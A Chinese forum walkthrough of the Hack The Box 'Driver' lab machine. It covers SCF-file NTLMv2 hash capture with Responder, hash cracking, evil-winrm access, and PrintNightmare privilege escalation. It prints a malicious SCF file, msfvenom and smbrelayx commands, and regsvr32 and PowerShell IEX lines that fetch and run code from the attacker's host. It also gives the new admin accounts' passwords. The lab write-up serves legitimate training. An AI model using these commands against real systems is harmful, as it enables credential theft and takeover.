本帖最后由 zhaorong 于 2022-11-29 17:42 编辑
0x00 简述
靶场来自Hack The Box 的 Driver,本文章详细记录了拿下靶机的全部流程和知识点
分别用到了SMB中继攻击—SCF文件攻击、WinRM反弹shell利用以及提权
靶场是你的就是你的不是你的就不要勉强你说是吧?
0x01 初探
Nmap扫描给定靶机
nmap -sC -sV -T4 --min-rate 1000 10.10.11.106
可以看到开启了SMB服务
Nmap加载脚本检测一下有没有基本漏洞
nmap -p 445 --script smb-vuln* 10.10.11.106
没有
看看web的端口
需要登陆
弱口令admin admin登陆成功
可以看到是一个打印机固件升级功能
并且有一个上传点
经过反复测试,对上传的文件没有任何限制,但是没有返回路径,无法直接利用
那么我们可以利用SMB服务来搞些事情,即
SCF文件攻击
具体原理我会在另一篇文章里详细阐述
0x02 SCF文件攻击
基本原理:SCF(shell命令文件)文件可用于执行一组有限的操作,一个SCF文件可以用来访问一个特定的UNC路
径允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件中,然后需要被植入到网络共享。
先制作SCF文件,内容如下:
[Shell]Command=2
IconFile=\\10.10.16.13\share\a.ico
[Taskbar]
Command=ToggleDesktop
将文件命名为@xxx.scf
@符号可以让文件保持在共享文件列表顶端
上传之前先准备好接受端,来接受被攻击端的NTLM Hash
接受Hash这里提供两种方法,一种是利用MSF,另一种是利用Rsponder
MSF:
利用 auxiliary/server/captrue/smb模块来捕获
设置好相关参数并启动
上传准备好的scf文件
这时MSF接收端就可以接收到NTLMv2 Hash了
同样的在后期利用时也可以用这个原理来获取NTLMv2 Hash
通过快捷方式
例如这样,起SMB中继服务就能获取到NTLMv2 Hash
Responder:
Responder需要使用以下命令运行来捕获浏览共享的用户的NTLMv2 Hash
responder -wrf --lm -v -I eth0
root@VM-4-4-ubuntu:/Responder-master$ python2 Responder.py -wrf --lm -v -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [ON]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.13]
Challenge set [1122334455667788]
[!] Error starting TCP server on port 80, check permissions or other servers running.
[+] Listening for events...
[+] Exiting...
root@VM-4-4-ubuntu:/Responder-master$ service httpd stop
Failed to stop httpd.service: Unit httpd.service not loaded.
root@VM-4-4-ubuntu:/Responder-master$ service apach2 stop
Failed to stop apach2.service: Unit apach2.service not loaded.
root@VM-4-4-ubuntu:/Responder-master$ service apache2 stop
root@VM-4-4-ubuntu:/Responder-master$ python2 Responder.py -wrf --lm -v -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [ON]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.13]
Challenge set [1122334455667788]
[+] Listening for events...
0x03 利用SCF文件攻击直接在MSF获取shell
首先用msfvenom生成后门文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=5555 -f exe > shell.exe
Coresecurity已经发布了一个名为Impacket的Python脚本,可以对SMB等Windows协议执行各种攻击。
我们可以使用smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝
试连接SMB服务器时提供有效载荷。
这个载荷将自动执行,因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。
python smbrelayx.py -h Target-IP -e ./shell.exe
然后启动MSF的监听等待回连
注意!!受害者服务器必须是管理员权限,否则负载将不会正常执行
我这里反复尝试后失败了,中继服务没有收到请求,原因暂时未知
但这个手法是可行的
顺带一提,MSF其实提供了这个功能,使用的是 exploit/windows/smb/smb_relay模块
但是这个模块仅支持NTLMv1,这里就不再演示
现在的系统版本都已经默认使用NTLMv2
但是如果能碰到老版本的系统或者系统进行了错误配置,还是可以利用的
0x04 破解 NTLMv2 Hash
首先将获取到的Hash进行破解
利用 echo 和 > 把NTLMv2 Hash 写进文件hash
然后利用hashcat破解
hashcat -m 5600 hash --wordlist /usr/share/wordlists/rockyou.txt
0x05 WinRM反弹shell
手法一:
利用 Hackplayers开源的 evil-winrm获取 shell
KALI使用命令gem install evil-winrm可以安装并且自动安装依赖
evil-winrm -i 10.10.11.106 -u “tony” -p “liltony”
成功获取到shell
接着使用MSF exploit 中的 multi/script/web_delivery模块上线
准备完成,在shell中执行最后给出的命令(发布文章时r和32连在一起被判定为敏感词,所以加了个星号)
regsvr*32 /s /n /u /i:http://10.10.16.13:8888/3Cni6iy5.sct scrobj.dll
成功上线
找到了第一个flag
0x06 提权
进入Meterperter并进入交互式shell先初步的了解一下情况
可以看到当前用户并非管理员用户,并且没有权限查看文件内容,那么势必需要提权
先把Meterpreter迁移到稳定的进程中
尝试getsystem不成功
也没有高权限的用户进程,无法使用令牌窃取
使用 post/multi/recon/local_exploit_suggester模块检测提权漏洞
但结果都失败了
查看一下有什么服务
可以看到有个很眼熟的服务,这个服务近段时间貌似出了几个远程代码执行、提权的漏洞
搜索一下得到漏洞编号 CVE-2021-34527 以及 CVE-2021-1675
先尝试一下CVE-2021-34527:
我使用的是powershell版本的exp,放上链接
https://github.com/JohnHammond/CVE-2021-34527
那就直接用Evil-WinRM获取的shell来执行吧,这个获取的shell正好也是powershell的
由于权限和powershell执行策略的限制
这里使用远程加载的方式执行exp
命令如下
IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.13:8000/CVE-2021-34527.ps1')
然后执行
Invoke-Nightmare
可以看到添加了用户 adm1n并且将其加入了Adminitrators组中
密码为P@ssw0rd
CVE-2021-1675:
IEX(New-Object Net.WebClient).DownloadString('[http://10.10.16.13:8000/CVE-2021-16
75.ps1](http://10.10.16.13:8000/CVE-2021-34527.ps1)')
如果直接执行Invoke-Nightmare添加的用户和上一个脚本是一样的,为了区分,使用以下命令添加用户
Invoke-Nightmare -DriverName "Chr1sto" -NewUser "chr1sto" -NewPassword "chr1sto"
添加了chr1sto并加入用户组
0x07 收尾
到此目前为止,我们已经拿到了这台机器的管理员权限,整个流程基本完成
接下来只需要登陆新建的用户,去读取flag就好了
我们依然使用Evil-WinRM来获取新用户的shell即可
可以看到当前用户的信息如下
读一下flag
0x08 总结
靶场是好靶场,整个流程的逻辑非常严密
渗透的过程中做了一些无用的尝试,浪费了许多的时间,比如MSF派生CobaltStrike session
也因为环境的问题,额外做了很多的工作
但渗透的过程不就是在不停的尝试吗 |